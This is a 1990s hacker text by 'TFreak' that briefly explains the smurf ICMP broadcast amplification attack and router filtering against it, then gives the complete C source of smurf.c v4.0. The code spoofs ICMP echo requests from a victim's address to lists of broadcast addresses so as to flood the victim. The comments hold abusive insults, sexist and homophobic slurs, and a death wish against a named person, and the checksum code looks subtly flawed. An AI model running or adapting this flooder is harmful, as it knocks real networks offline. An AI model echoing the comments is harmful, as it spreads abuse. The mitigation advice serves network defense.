The `smurf' attack is quite simple. It has a list of broadcast addresses which
it stores into an array, and sends a spoofed icmp echo request to each of those
addresses in series and starts again. The result is a devistating attack upon
the spoofed ip with, depending on the amount of broadcast addresses used,
many, many computers responding to the echo request.
Before I continue may I first say that this code was a mistake. When it was
written I was not aware of the fact that a) the world would get its hands on it
and b) it would have such a destructive effect on the computers being used to
flood. My ignorance is my mistake. I extremely regret writing this, but as
you well know, if things aren't `exploited' then they aren't fixed.
Now that that's cleared up, how do you protect your network? Well,
unfortunatly I am not sure how or even if it is possible to protect yourself
from being hit with it, unless you wanted to deny all incoming icmp traffic at
the router which isn't the best solution as it renders other useful oddities
(such as ping and traceroute) unusable. To prevent your network from being
used to flood (using up almost all your bandwith therefore creating a denial
of service upon yourself.. technically) is quite easy and not a great loss to
your network. If you filter all incoming icmp traffic to the broadcast address
at the router none of the machines will respond therefore the attack will not
work. This can be done with one line in the router, and I believe a rep from
texas.net posted the solution for this (perhaps it could be reposted?).
I believe MCI is currently working on a patch or dectector of some kind for it,
which is available at
http://www.internetnews.com/isp-news/1997/10/0901-mci.html
Please, patch your networks, if there's nothing to flood with then there's no
flood.
Respectfully,
TFreak
--- 8< smurf4.c >8 ---
/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal to:
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
*
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);
/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);
banner();
signal(SIGINT, ctrlc);
if (argc < 6) usage(argv[0]);
if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);
if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n') buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);
if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}
void banner (void)
{
puts("\nsmurf.c v4.0 by TFreak\n");
}
void usage (char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}
void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
free(packet); /* free willy! */
}
void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
}
unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}